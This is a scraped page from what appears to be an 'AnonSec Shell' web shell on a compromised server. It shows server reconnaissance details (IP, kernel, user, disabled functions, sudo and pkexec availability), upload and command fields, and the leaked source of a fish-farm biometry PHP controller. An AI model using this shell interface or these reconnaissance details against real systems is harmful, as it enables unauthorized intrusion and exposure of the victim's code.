AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.59
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leve/application/plugins/module_fish/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leve/application/plugins/module_fish/controllers/BiometryController.php
<?php

include_once "Controller.php";
include_once __DIR__ . "/../models/BiometryModel.php";
include_once __DIR__ . "/../models/FoodProgramsModel.php";

class BiometryController extends Controller {

    /**
     * @var ID 
     */
    protected $id;

    /**
     * @var BiometryModel
     */
    protected $model;

    /**
     * @var SimplifiedProgramModel
     */
    protected $model_simplified;
    protected $modelProgram;

    /**
     * @param $ui
     * @param array $_L
     * @param array $config
     * @param $_pd
     */
    public function __construct($ui, $_L, $config, $_pd, $client_id = null) {
        parent::__construct($ui, $_L, $config, $_pd);

        $this->ui->assign('_title', $this->_L['Fish Description module'] . ' - ' . $this->config['CompanyName']);
        $this->modelProgram = new FoodProgramsModel();
        $this->model = new BiometryModel();
        $this->id = $this->routes[3];
        $this->client_id = $client_id;
    }

    /**
     * Show list to Feeding
     */
    public function add() {
        // LISTAR dearraçoamento
        $css_arr = array('s2/css/select2.min', 'dp/dist/datepicker.min');

        $js_arr = array(
            's2/js/select2.min',
            'dataTables/jquery.dataTables',
            '/../../../application/plugins/module_fish/assets/js/biometry-add',
            'dp/dist/datepicker.min',
//            'redactor/fontcolor',
            'numeric'
        );
        $assets_css = Asset::css($css_arr);
        $assets_js = Asset::js($js_arr,date('Y-m-d H:i:s'));

        $this->ui->assign('xheader', $assets_css);
        $this->ui->assign('xfooter', $assets_js);
        $this->ui->assign('jsvar', '
            _L[\'are_you_sure\'] = \'' . $this->_L['are_you_sure'] . '\';
            _L[\'Module_Fish Feeding are_you_sure\'] = \'' . $this->_L['Module_Fish Feeding are_you_sure'] . '\';
        ');

        $this->ui->assign('_st', $this->_L['Fish Description module']);
        $this->ui->assign('_include', 'biometry/add');
        $this->ui->display('wrapper.tpl');
    }

    public function table() {

        $date_start = _postDate('date');
        $d = ORM::for_table('module_fish_lots')
                ->table_alias('l')
                ->select('l.*')
                ->select('t.title_tank')
                ->select_expr('(select  b.average_weight from module_fish_lots_distribution_biometry b where b.module_fish_lots_distribution_id=ld.id order by id asc limit 1) as average_weight ')
                ->select('lp.module_fish_program_id')
                ->select_expr('ld.id as lote_id')
                ->join('module_fish_lots_distribution', array('ld.module_fish_lots_id', '=', 'l.id'), 'ld')
                ->join('module_fish_tank', array('t.id', '=', 'ld.module_fish_tank_id'), 't')
                ->join('module_fish_lots_distribution_program', array('lp.module_fish_lots_distribution_id', '=', 'ld.id'), 'lp')
                ->order_by_expr('concat(l.title_lote,t.title_tank) ASC');
        if (!empty(_post('module_fish_lots_id'))) {
            $d->where('l.id', _post('module_fish_lots_id'));
        }
        if (!empty(_post('crm_accounts_id'))) {
            $d->where('l.crm_accounts_id', _post('crm_accounts_id'));
        }
        if($this->client_id > 0)
        {
            $d->where('l.crm_accounts_id',  $this->client_id );
        }
            
        $d->where_raw(" ld.deleted_at IS NULL  AND l.deleted_at IS NULL ");

        $lotes = $d->find_array();
        $ex = count($lotes);
        for ($i = 0; $i < $ex; $i++) {

            $data_inicio = new DateTime($lotes[$i]['date_settlement']);
            $data_fim = new DateTime($date_start);
            // Resgata diferença entre as datas
            $dateInterval = $data_inicio->diff($data_fim);
            if (strtotime($lotes[$i]['date_settlement']) <= strtotime($date_start)) {


                //echo $l->date_settlement." - ".$dateInterval->days."<br/>";
                $periodo = ORM::for_table('module_fish_food_program_periods')
                        ->table_alias('pp')
                        ->select('pp.*')
                        ->where("module_fish_food_programs_id", $lotes[$i]['module_fish_program_id'])
                        ->where_raw('pp.period_total>=' . $dateInterval->days)
                        ->limit(1)
                        ->order_by_expr('pp.period_total ASC')
                        ->find_many();
                if (count($periodo) == 0) {
                    $periodo = ORM::for_table('module_fish_food_program_periods')
                            ->table_alias('pp')
                            ->select('pp.*')
                            ->where("module_fish_food_programs_id", $lotes[$i]['module_fish_program_id'])
                            ->where_raw('pp.period_total<=' . $dateInterval->days)
                            ->limit(1)
                            ->order_by_expr('pp.period_total DESC')
                            ->find_many();
                }

                if (count($periodo) > 0) {
                    // $lotes[$i]['period']=$periodo;
                    $bio = ORM::for_table('module_fish_lots_distribution_biometry')
                        ->where('module_fish_lots_distribution_id', $lotes[$i]['lote_id'])
                        ->where('date', $date_start)->order_by_expr('id desc')->find_many();

                    if (!empty(_post('without_execution')) && count($bio) > 0) {
                        unset($lotes[$i]);
                    } else {
//                        if ($periodo[0]->period_total <= $dateInterval->days) {
//                            $lotes[$i]['estimated_biometry'] = $periodo[0]->weight_up; //*$lotes[$i]->qty;
//                        } else {
//                            $lotes[$i]['estimated_biometry'] = number_format((((($periodo[0]->weight_up - $lotes[$i]['average_weight']) / $periodo[0]->period_total) * $dateInterval->days) + $lotes[$i]['average_weight']), 3); //*$lotes[$i]->qty;
//                        }
                        $w =$this->modelProgram->weigthEstimatedProgramLastBiometry((object)$lotes[$i],$date_start);
                        $lotes[$i]['estimated_biometry']=number_format($w['weight_actual'],3);
                        $lotes[$i]['biometry'] = count($bio) == 0 ? $lotes[$i]['estimated_biometry'] : $bio[0]->average_weight;
                        $lotes[$i]['date'] = date($this->config['df'], strtotime($date_start));
                    }
                } else {
                    unset($lotes[$i]);
                }
            } else {
                unset($lotes[$i]); // data da biometria menor que a data de povoamento
            }
        }


        $this->ui->assign('row', 0);
        $this->ui->assign('lotes', $lotes);
        $this->ui->display($this->_pd . '/views/biometry/table.tpl');
    }

    public function post() {

        $msg = '';


        if (empty(_postDate('date'))) {
            $msg .= $this->_L['Date'] . $this->_L['is required'];
        }

        if (!isset($_POST['row'])) {
            $msg .= $this->_L['Module_Fish Select one tank execution'];
        }


        if ($msg == '') {
            $row = $_POST['row'];

            for ($i = 0; $i < count($row); $i++) {

                $d = ORM::for_table('module_fish_lots_distribution_biometry')->create();
                $d->module_fish_lots_distribution_id = _post('id_' . $row[$i]);
                $d->date = _postDate('date_biometry_' . $row[$i]);
                if($this->client_id ==null){
                    $user = User::_info();
                    $d->user_id = $user->id;
                }
                $d->average_weight = Finance::amount_fix(_post('weight_' . $row[$i]));
                $d->average_weight = $d->average_weight / 1000;  ///grava no banco em Kg
                $now = new DateTime('now', new DateTimeZone('America/Sao_Paulo'));
                $d->created_at = $now->format('Y-m-d H:i:s');
                $d->save();
            }
            _notify($this->_L['Add Successfull'], 's');
            echo json_encode(array('status' => 'OK', 'msg' => ''));
        } else {
            echo json_encode(array('status' => 'ERROR', 'msg' => $msg));
        }
    }

}

Anon7 - 2022
AnonSec Team